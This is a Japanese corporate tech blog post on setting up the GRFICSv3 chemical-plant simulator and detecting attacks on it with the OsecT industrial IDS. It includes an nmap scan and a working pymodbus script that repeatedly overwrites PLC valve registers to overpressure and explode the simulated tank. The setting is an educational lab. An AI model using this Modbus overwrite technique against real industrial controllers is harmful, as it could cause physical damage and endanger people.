【GRFICSv3】新しく公開された化学プラントシミュレータを動かして、IDSで攻撃を検知してみた

2025年10月に公開された「GRFICSv3」の環境構築手順と、制御ネットワーク向けIDS「OsecT」を組み合わせた検証記事です。 専用のダミーIFを用いたパケット可視化の手法や、Pythonスクリプトによる攻撃の実行、およびIDSでの検知アラート発生の様子を紹介します。

この記事は、 NTT docomo Business Advent Calendar 2025 23日目の記事です。

こんにちは、NTTドコモビジネスの上田です。 普段は、制御ネットワーク向けのIDS1である「OsecT(オーセクト)」の開発・運用に携わっています。

今回は、2025年10月頃に公開されたGRFICSv3を紹介します。

当初は昨年のデータダイオードネタの続きを予定していたのですが、以前から時々触っていたGRFICSv2の後継であるGRFICSv3が公開されたのを知り、急遽内容を変更しました。

制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータですので、ぜひご一読いただけると幸いです。

なお、本記事は実際のシステムへの攻撃を推奨するものではありません。 あくまでも、学習・研究・開発目的での利用を想定しています。

GRFICSv3とは

GRFICSv3 (Graphical Realism Framework for Industrial Control Simulation Version 3) は、Dockerで完結する化学プラントのサイバー物理シミュレーション環境です。 実際のプロセス挙動、産業用プロトコル、エンジニアリングツール、攻撃用インフラの全てをコンテナ化して提供しています。

用途としては、ICS(産業制御システム)セキュリティの学習・調査、インシデント対応の演習、攻撃・防御ツールの開発とテストなどへの利用を想定しているようです2

サイバー攻撃による、プラントの爆発も再現できるようです。 GRFICSv2までは、VirtualBox等の仮想マシン上で動作する形態でしたが、 GRFICSv3ではDockerコンテナとして提供されるようになりました。

なお、今回紹介するGRFICSv3は、Fortiphyd/GRFICSv3で公開されているGRFICSv3になります。 Fortiphyd/GRFICSv3Fortiphyd/GRFICSv2のREADMEのコミット履歴から判断するに、 2025年10月頃に公開されたようです。

2025年12月現在、検索エンジンで「GRFICSv3」と検索すると別のリポジトリが上位に表示されます(少なくとも私の環境では)。 今回の記事で紹介するのはFortiphyd社が公開しているGRFICSv3になりますので、ご注意ください。

Web上でGRFICSの歴史を辿ってみると、初代は2018年のUSENIXにて発表され、 djformby/GRFICSとして公開されたようです3

その後、バージョン2となるFortiphyd/GRFICSv2が2020年に公開され、 さらに現在のGRFICSv3へと進化しています。

初代GRFICSからFortiphyd社が開発に携わっていることが確認できるため、 今回紹介するGRFICSv3はGRFICSシリーズの公式な最新版と判断しました。

GRFICSv3の実行

GRFICSv3はDockerコンテナとして提供されているため、Dockerが動作する環境であれば簡単に実行できます。 GRFICSを実行するだけであれば、Docker DesktopやWSL2上のDockerなど、Dockerが動作する環境であれば問題ありません。 後半のIDS等による可視化や検知に関しては、Ubuntu 24.04のVM環境で動作を確認しています。

GRFICSv3の起動は非常に簡単で、以下のコマンドを実行するだけです。 ただし、Dockerイメージの合計サイズが9GB程度あるため、初回起動時はイメージのダウンロードに時間を要する場合があります。

git clone https://github.com/Fortiphyd/GRFICSv3.git
cd GRFICSv3
docker compose up -d

これで、GRFICSv3の各コンテナが起動します。 起動後、以下のURLにアクセスすることで、GRFICSv3の各種画面を確認できます。

  • シミュレータ: http://localhost:80
  • エンジニアリングワークステーション: http://localhost:6080/vnc.html
  • 攻撃者端末: http://localhost:6088/vnc.html
    • USER: kali, PASS: kali
  • MITRE Caldera: http://localhost:8888
    • USER: red, PASS: fortiphyd-red
  • PLC (OpenPLC): http://localhost:8080
    • USER: openplc, PASS: openplc
  • HMI (Scada-LTS): http://localhost:6081
    • USER: admin, PASS: admin

※ルータ・ファイアウォールは、デフォルトではDockerホスト側からはアクセスできないようです。

注意点として、ARMアーキテクチャのCPUを搭載したPCでは、エンジニアリングワークステーションにインストールされているOpenPLCエディタが動作しませんでした。 他のコンテナについては特に問題は確認されませんでしたが、可能であればx64アーキテクチャのCPUを搭載したPCで実行することをお勧めします。

GRFICSv3の画面紹介

この章では、GRFICSv3の各種画面を簡単に紹介します。 気になった方は、ぜひ実際にGRFICSv3を起動して確認してみてください。

シミュレータ画面

先ほど述べたように、GRFICSv3のシミュレータ画面は、http://localhost:80 にアクセスすることで確認できます。

下記画面は、GRFICSv3のシミュレータ画面の初期状態です(最大化した状態の画面です)。 GRFICSv3のシミュレータ画面では、GRFICSv2でも表示されていた化学プラントの各種センサー値などに加え、一部配管などが透明化されており、中を流れる原料や生成物の様子が視覚的に確認できるようになっています。

最大のアップデートポイントは、プラント内部を自由に移動できるようになったことかと思います。 通常のFPSゲームのように、WASDキーで移動し、マウスで視点を操作できます。 また、プラント内を移動して脆弱なポイントを見つけると、右上の数字がカウントアップされるゲーム要素も追加されています。

下記のように、制御室らしき部屋に移動することもできます。

エンジニアリングワークステーション画面

エンジニアリングワークステーションは、PLCのプログラムを開発・デバッグするためのツールが入った端末です。 GRFICSv3では、OpenPLCエディタがインストールされています。 GRFICSv3の場合、デスクトップ上にOpenPLCエディタのショートカットが配置されているため、ダブルクリックで起動できます。

下記画面は、デスクトップにある chemical ディレクトリをOpenPLCエディタで開いた際のものです。

先述のとおり、OpenPLCエディタはARMアーキテクチャのCPUを搭載したPCでは起動できませんでした。

攻撃者端末の画面

攻撃者端末は、Kali Linuxのデスクトップ環境が入った端末です。 GRFICSv3では、PythonでModbus TCPを利用するためのパッケージpymodbusがプリインストールされていました。 GRFICSは制御プロトコルとしてModbus TCPを使用しているため、攻撃者端末からModbus TCPを利用した攻撃スクリプトを実行することを想定しているのかもしれません。

Caldera画面

GRFICSv3の新要素として、MITRE Calderaが組み込まれています。

Calderaは、サイバー攻撃を自動化するためのフレームワークです。 実際の攻撃を自動的に模擬することで、セキュリティの検証などに利用できます。

GRFICSv3では、制御プロトコルとしてModbus TCPを利用していることから、Modbusプラグインがプリインストールされているようです。

PLC (OpenPLC) 画面

PLC (OpenPLC) は、GRFICSv3の化学プラントを制御するためのPLCです。 GRFICSv3では、OpenPLCが使用されています。

下記画面は、OpenPLCのWebインターフェースの画面です。

エンジニアリングワークステーションで開発したPLCプログラムをアップロードしたり、PLCの状態を確認したりできます。

エンジニアリングワークステーションからPLCに接続する際は、ブラウザ (Firefox) から http://192.168.95.2:8080 にアクセスすると接続できます。

HMI (Scada-LTS) 画面

システムの操作や各種データを確認できるようです。

具体的には、下記画像のGraphical viewsボタンをクリックすることで、プラントの運転ボタンを押したり、各種センサー値を確認したりできます。

ただ、残念ながら私の環境では運転ボタンを押した際、エラーが表示されました。 しかし、エラーは表示されるものの、運転操作自体は行えているように見受けられたため、今回は無視して進めますが、気づいていないだけで不具合が発生している可能性もあります。

ちなみに、エラーメッセージは下記の通りです。

Incorrect format. The point value has not been changed. Error saving point value: dataType=1, dvalue=1.0, message: PreparedStatementCallback; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: PROCEDURE scadalts.prc_alarms_notify does not exist

ルータ/ファイアウォール画面

下記画面は、GRFICSv3のルータ/ファイアウォールの画面です。 IDS機能も備わっているようです。

GRFICSv2の時は、pfSenseが使用されていましたが、GRFICSv3では独自のルータ/ファイアウォールが使用されているようです。

GRFICSv3の所感

以上、GRFICSv3の各種画面を簡単に紹介しました。 GRFICSv3はDockerコンテナとして提供されているため、Dockerの実行環境さえあれば git clonedocker compose up -d の2コマンドで簡単に起動できる点が非常に手軽で便利です。

一方で、まだ公開されて間もないためか、細かい不具合がいくつかあるようにも見受けられました。 先ほど述べたHMIのエラー以外にも、GRFICSv3を起動したまま長時間放置していると、タンク内の圧力が異常に高くなり、プラントが爆発してしまう事象にも遭遇しました(私の環境の問題である可能性も捨てきれません)。

ただ、全体的には非常に良くできているシミュレータであり、制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータです。

私自身は、まだGRFICSv3を触り始めたばかりで、理解が浅い部分も多いので、今後も引き続き触っていきたいと考えています。

この後の章では、GRFICSv3の通信をIDSで可視化します。 さらに攻撃スクリプトを作成・実行し、プラントの破壊も試みます。

OT IDS OsecTによる可視化

今回は、GRFICSv3の通信を制御ネットワーク向けIDSであるOsecT(オーセクト)で可視化してみます。

ポイントとしては、GRFICSv3専用のダミーIFを作成し、IDSで可視化する際のノイズ低減を図ります。

今回構築する検証環境のネットワーク構成は、以下のようになります。 なお、IDSを利用して可視化する部分に絞って記載しています。

なお、今回利用するOsecTは開発用のものになります。 お客さまのVM上にOsecTを構築するオプションは、2025年12月時点では提供されていないことにご留意ください。

GRFICSv3用のダミーIFの作成

GRFICSv3用のダミーIFを作成します。

デフォルト設定では、GRFICSv3の各コンテナはUbuntuホストの eth0 を介して通信します。 ただこの場合、IDSでパケットをキャプチャする際に、ICSネットワークとDMZネットワークの通信が混在してしまうという課題があります。 さらに、eth0 を利用する他のプロセスのパケットも混ざり、解析時のノイズが発生してしまう問題もあります。

そこで、今回はGRFICSv3専用のダミーIFを2つ作成し、docker-compose.ymlでそれぞれのNICを指定します。 具体的には、dummy0dummy1 という2つのダミーIFを作成します。 これにより、GRFICSv3の通信のみをIDSでキャプチャできるようにします(ただ残念ながら、完全にはノイズを排除できませんでした4)。

ダミーIFの作成は、systemd-networkdを利用して行います。

下記設定ファイルを作成した後、sudo systemctl restart systemd-networkd コマンドで設定を反映します。

設定ファイルの内容(クリックすると開きます)

以下、/etc/systemd/network/10-dummy0.netdevの内容です。

[NetDev]
Name=dummy0
Kind=dummy

以下、/etc/systemd/network/10-dummy1.netdevの内容です。

[NetDev]
Name=dummy1
Kind=dummy

以下、/etc/systemd/network/10-dummy-common.networkの内容です。 今回、LinkLocalAddressing 等はノイズパケットの原因となるため無効化しています。

[Match]
# dummy0 と dummy1 の両方にマッチさせる
Name=dummy0 dummy1

[Network]
# 両方のインターフェースに適用される共通設定
LinkLocalAddressing=no
DHCP=no
IPv6AcceptRA=no

GRFICSv3のセットアップ

この章では、GRFICSv3のセットアップを行います。

IDSで可視化するために、GRFICSv3のネットワーク設定を変更する必要があります。

GRFICSv3のネットワーク設定変更

今回は、GRFICSv3を起動する前に、ネットワークの設定を変更します。

もしもまだGRFICSv3のリポジトリをクローンしていない場合は、下記コマンドでGRFICSv3のリポジトリをクローンし、GRFICSv3ディレクトリに移動します。

git clone https://github.com/Fortiphyd/GRFICSv3.git
cd GRFICSv3

次に、docker-compose.yml を編集します。 具体的には、docker-compose.yml のトップレベルにある networks セクションを以下のように変更します。

networks:
  b-ics-net:
    driver: macvlan
    driver_opts:
      parent: dummy0  # ここをdummy0に変更
    ipam:
      config:
        - subnet: 192.168.95.0/24
          gateway: 192.168.95.1

  c-dmz-net:
    driver: macvlan
    driver_opts:
      parent: dummy1  # ここをdummy1に変更
    ipam:
      config:
        - subnet: 192.168.90.0/24
          gateway: 192.168.90.1

これで、b-ics-netの通信はdummy0 を、c-dmz-netの通信はdummy1を介してキャプチャできるようになります。

なお、デフォルトの設定のままでは docker compose up コマンドと docker compose down コマンドを繰り返す度に、GRFICSv3の各コンテナに割り当てられるMACアドレスが変化してしまいます。 これは、IDSの検証等で利用することを考えると不便です。

そこで今回は、下記のように docker-compose.yml の各コンテナの networks セクションに mac_address オプションを追加し、MACアドレスを固定しました。

    networks:
      a-grfics-admin:  # gets random bridge IP (e.g., 172.18.x.x)
      b-ics-net:
        ipv4_address: 192.168.95.10
        mac_address: "96:62:8a:11:dc:b8"  # 追加, 任意のMACアドレスを設定

これにより、MACアドレスが固定化され、IDSに別端末として認識されることを防げます。

GRFICSv3の起動

上記設定が終わり次第、下記コマンドでGRFICSv3を起動します。

なお、今回はIDSで可視化するために、PLC、ルータ、エンジニアリングワークステーション、HMI、シミュレーションコンテナのみを起動します。 Calderaと攻撃者端末の起動は一旦保留します。

docker compose up -d plc router ews hmi simulation

なお、最初のセットアップ時は、Dockerイメージのダウンロード(合計約9GB)などが行われるため、起動までに数分かかる場合があります。

GRFICSv3の動作確認

GRFICSv3の各種画面にアクセスし、正常に動作していることを確認します。

例えば、シミュレータ画面にアクセスするには、ブラウザで http://localhost にアクセスします。

以下に、GRFICSv3の各種画面にアクセスするためのURLを再掲します。

  • シミュレータ: http://localhost:80
  • エンジニアリングワークステーション: http://localhost:6080/vnc.html
  • 攻撃者端末: http://localhost:6088/vnc.html
    • USER: kali, PASS: kali
  • MITRE Caldera: http://localhost:8888
    • USER: red, PASS: fortiphyd-red
  • PLC (OpenPLC): http://localhost:8080
    • USER: openplc, PASS: openplc
  • HMI (Scada-LTS): http://localhost:6081
    • USER: admin, PASS: admin

パケットの確認

GRFICSv3の各種コンテナが起動したら、dummy0dummy1 インターフェースにパケットが流れていることを確認します。

tcpdumpコマンドなどで確認できます。 tcpdumpコマンドがインストールされていない場合は、sudo apt install tcpdump コマンドでインストールしてください。

下記コマンドは、dummy0 インターフェースに流れているパケットを観測する場合の例です。

sudo tcpdump -i dummy0

GRFICSv3はModbus TCPを利用しているため、下記のようにフィルタをかけるとModbus TCPの通信のみを観測できます。

sudo tcpdump -i dummy1 tcp dst port 502

以下、dummy1 インターフェースに流れているModbus TCPの通信を実際に観測した際の出力になります。 5パケットのみキャプチャして終了するために、-c5 オプションを付与しています。

$ sudo tcpdump -c5 -i dummy1 tcp dst port 502
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on dummy1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:23:22.238986 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [S], seq 1899401048, win 62720, options [mss 8960,sackOK,TS val 2744228717 ecr 0,nop,wscale 7], length 0
10:23:22.239100 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [.], ack 2756698681, win 490, options [nop,nop,TS val 2744228717 ecr 1980836816], length 0
10:23:22.239547 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [P.], seq 0:12, ack 1, win 490, options [nop,nop,TS val 2744228718 ecr 1980836816], length 12
10:23:22.256091 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [.], ack 11, win 490, options [nop,nop,TS val 2744228734 ecr 1980836833], length 0
10:23:22.291946 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [F.], seq 12, ack 11, win 490, options [nop,nop,TS val 2744228770 ecr 1980836833], length 0
5 packets captured
10 packets received by filter
0 packets dropped by kernel

以上で、GRFICSv3のセットアップは完了です。

OT IDS OsecTによる可視化

この章では、GRFICSv3の通信をOsecTで可視化してみます。

今回利用するOsecTは、開発用のものになります。 VM上にOsecTを構築しますが、お客さまが用意されたVM上にOsecTを構築するオプションは、2025年12月時点では提供されていないことにご留意いただけると幸いです。 そのため、今回はセットアップ手順を割愛させていただきます。

端末一覧画面

下記画面は、OsecTの端末一覧画面です。 GRFICSv3のPLCやHMIなどの各コンテナからの通信をもとに、作成されたものになります。

「接続サービス(To)」、「接続サービス(From)」の2つの列に着目してみます。

まず、「接続サービス(To)」です。 「接続サービス(To)」には、当該端末を起点に他の端末に接続したサービスが表示されます。 192.168.95.2のIPアドレスを持つ端末 (OpenPLC) に着目すると、modbus (502/tcp) と記載されています。 このため、OpenPLCがModbus TCPのクライアントとして動作していることが分かります。

次に、「接続サービス(From)」です。 「接続サービス(From)」には、他の端末から当該端末に接続したサービスが表示されます。 同じく、192.168.95.2のIPアドレスを持つ端末 (OpenPLC) に着目すると、http* (80/tcp),https* (443/tcp),modbus (502/tcp),http (8080/tcp)と記載されています。 このため、OpenPLCがHTTPサーバやModbus TCPのサーバとしても動作していることが分かります。 ちなみに、HTTPSは動作していないはずですが、私が誤ってHTTPSでアクセスを試行した際の通信が検知されたため、https* (443/tcp)も表示されるようになったようです。

ちなみに、上記画面に映っている192.168.95.15, 192.168.95.14, 192.168.95.13のIPアドレスを持つ3つの端末は、MACアドレスが同じです。

これは、GRFICSv3のシミュレーションコンテナ上で複数のデバイスを模擬しているためのようです。 シミュレータという特性上、ある程度は許容すべき仕様かと思います。

ソースコードは公開されているので、機会があればGRFICSv3のシミュレーションコンテナ内で動作している各デバイスに個別のMACアドレスを割り当てる方法が無いか試すのも面白いかもしれません。

ネットワークマップ画面

下記画面は、OsecTのネットワークマップ画面です。

ネットワークマップ画面では、各端末の通信関係を視覚的に確認できます。 今回は、フィルター機能を利用して ICSネットワーク(192.168.95.0/24)内の通信のみを表示しています。 ノードやエッジをクリックすることで、右側に表示されているような通信の詳細情報を確認できます。

下記画面では、中心に緑色で表示されているOpenPLC(192.168.95.2)と、周辺に赤色で表示されているバルブやセンサーなどの各種デバイス(192.168.95.10~192.168.95.15)や、青色で表示さているエンジニアリングワークステーション(192.168.95.5)との通信関係が視覚的に確認できます。

各端末の色は、端末の役割に応じて自動的に設定されたものです。 OpenPLCはサーバとクライアント両方の機能が動作しているため緑色、エンジニアリングワークステーションはクライアントとして動作しているため青色、各種デバイスはサーバとして動作しているため赤色で表示されています。

攻撃の実行と検知

GRFICSv3は、先述のように攻撃用の端末も用意されています。

今回は、攻撃者端末から下記Pythonスクリプトを実行し、タンク内の圧力を上昇させてみます。

攻撃者端末を起動する

まず、下記コマンドで攻撃者端末を起動します。

docker compose up -d kali

その後、 http://localhost:6088/vnc.html にアクセスし、攻撃者端末にVNCで接続します。

せっかくなので動作確認も兼ねて、試しにICSネットワークに対してnmapコマンドでスキャンを行ってみます。

下記は、nmapを利用してModbus TCPで利用される502番ポートをスキャンした際のものです。 OpenPLCやシミュレーターなど、Modbus TCPサーバが動作している端末を確認できます。

$ nmap -sS -p 502 192.168.95.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 03:12 UTC
Nmap scan report for 192.168.95.2
Host is up (0.00034s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.5
Host is up (0.00027s latency).

PORT    STATE  SERVICE
502/tcp closed mbap

Nmap scan report for 192.168.95.10
Host is up (0.000024s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.11
Host is up (0.000027s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.12
Host is up (0.00011s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.13
Host is up (0.000072s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.14
Host is up (0.000050s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.15
Host is up (0.000055s latency).

PORT    STATE SERVICE
502/tcp open  mbap

Nmap scan report for 192.168.95.200
Host is up (0.000015s latency).

PORT    STATE  SERVICE
502/tcp closed mbap

Nmap done: 256 IP addresses (9 hosts up) scanned in 3.85 seconds

OT IDS OsecTでの検知

下記画面は、ICSネットワークを監視しているOsecTで、攻撃者端末からのnmapスキャンを検知した際のものです。 検知種別「IP通信」は、プロトコル番号や送信元/宛先IPアドレス、ポート番号の組み合わせが正常時の通信に存在しない場合、発生(検知)するアラートです。 今回は、攻撃者端末からICSネットワークに対してnmapスキャンを行ったため検知しました。

ちなみに、もう1つのアラートは先述の問題により発生したもので、dummyインターフェースに他のIFに流れているはずのパケットが混入しているようです。

下記画面は、DMZネットワークを監視しているOsecTで、攻撃者端末の出現を検知した際のものです。

このように、攻撃者端末がICSネットワークに対してnmapスキャンを行った際に、新規端末の出現や不審な通信を検知できることが分かります。

攻撃スクリプトの実行

下記Pythonスクリプトを攻撃端末 (Kali) 上で実行します。

下記スクリプトは、Modbus TCPを利用して各バルブの開度を設定し続けるものです。

具体的には、A剤・B剤のバルブを全開にし、パージバルブとプロダクトバルブを閉じることで、タンク内の圧力上昇を目指します。

PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定します。

import time
from pymodbus.client import ModbusTcpClient


def main():
    interval = 0.0005  # PLCの制御周期よりも短い間隔で設定を繰り返す

    # 下記、IPアドレスやポート、Unit ID、アドレスはOpenPLCのWebUIから確認可能
    # 値(65535 や 0)は、各バルブの開度を設定するためのもの
    unit_id = 247
    address = 1
    targets = [
        ("192.168.95.10", 502, 65535),  # Valve A
        ("192.168.95.11", 502, 65535),  # Valve B
        ("192.168.95.12", 502, 0),      # Purge Valve
        ("192.168.95.13", 502, 0),      # Product Valve
    ]

    # Modbus TCPクライアントの作成と接続
    clients = [ModbusTcpClient(host, port=port, timeout=2) for host, port, _ in targets]
    for c in clients:
        c.connect()

    # バルブの開度を設定し続ける
    # PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定する
    while True:
        for c, (_, _, value) in zip(clients, targets):
            c.write_registers(address, [value], slave=unit_id)
        time.sleep(interval)


if __name__ == "__main__":
    main()

スクリプトの実行のために、下記コマンドで上記スクリプトを attack_modbus.py という名前で攻撃者端末上に作成します。 その後、python3 attack_modbus.py コマンドで実行します。

コマンド(クリックすると開きます)

cat <<EOF > attack_modbus.py
import time
from pymodbus.client import ModbusTcpClient


def main():
    interval = 0.0005

    # 下記、IPアドレスやポート、Unit ID、アドレスはOpenPLCのWebUIから確認可能
    # 値(65535 や 0)は、各バルブの開度を設定するためのもの
    unit_id = 247
    address = 1
    targets = [
        ("192.168.95.10", 502, 65535),  # Valve A
        ("192.168.95.11", 502, 65535),  # Valve B
        ("192.168.95.12", 502, 0),      # Purge Valve
        ("192.168.95.13", 502, 0),      # Product Valve
    ]

    # Modbus TCPクライアントの作成と接続
    clients = [ModbusTcpClient(host, port=port, timeout=2) for host, port, _ in targets]
    for c in clients:
        c.connect()

    # バルブの開度を設定し続ける
    # PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定する
    while True:
        for c, (_, _, value) in zip(clients, targets):
            c.write_registers(address, [value], slave=unit_id)
        time.sleep(interval)


if __name__ == "__main__":
    main()
EOF

上記スクリプトを実行後、下記のようにシミュレーター画面を確認すると、左側2つの原料の投入量を調整するためのバルブの数値が全開 (100%) 、右側2つの生成物を排出するためのバルブの数値が全閉 (0%) になっていることが分かります。 このため、実際に実行してみるとHMI上でタンク内の圧力の上昇を確認できます。

なお、上記HMIの画面では各バルブの開度がシミュレーターに表示されている内容と異なっています。これは正規のPLCからの制御値がHMIに反映されており、実際のバルブの値が反映されていない可能性があります(未確認)。

上記スクリプトを実行後、数分放置するとタンクの圧力が3,000kPaを超え、タンクから蒸気が噴出した後、最終的には下記のように爆発します。

OT IDS OsecTでの検知

今回は、検知機能のひとつである「IP通信」アラートでどのように今回の攻撃が検知されるのかを確認してみます。 IP通信アラートは、正常時のIPアドレスとポート番号の組み合わせを学習し、それと異なる通信が発生した場合にアラートを出す機能です。

下記画面は、ICSネットワークを監視しているOsecTで、攻撃者端末からの攻撃を検知した際のものです。 攻撃者端末(192.168.90.6)からバルブを制御するためのModbus TCPサーバ(192.168.95.10 ~ 192.168.95.13)に対して、502番ポートで多数の通信が発生していることが分かります。 これらの通信は、通常時には存在しなかった通信であるため、OsecTが異常として検知し、アラートを出しています。

おわりに

本記事では、GRFICSv3の各種画面を紹介し、IDS(OsecT)を利用してGRFICSv3の通信を可視化してみました。 また、攻撃者端末からModbus TCPを利用してタンク内の圧力を上昇させ、最終的にプラントを爆発させる攻撃も実施しました。

一部の画面や機能のみの紹介となりましたが、GRFICSv3は非常に良くできたシミュレータであり、制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータです。

それでは明日の記事もお楽しみに!


  1. IDS: Intrusion Detection System, 侵入検知システム。
  2. Fortiphyd/GRFICSv3 READMEより。
  3. Formby, D., Rad, M., and Beyah, R. Lowering the Barriers to Industrial Control System Security with GRFICS. In 2018 USENIX Workshop on Advances in Security Education (ASE 18).
  4. 具体的には、今回の検証中にdummy0dummy1に他のIFに流れているはずのパケットが混入しているように見える事象が何度か発生しました。こちらは、VMもしくはコンテナの再起動時に発生するように見えましたが、現時点ではタイミングや原因を特定できていません。発生頻度が少なく混入するパケットも1度に数パケット程度であるため、今回は無視して進めました。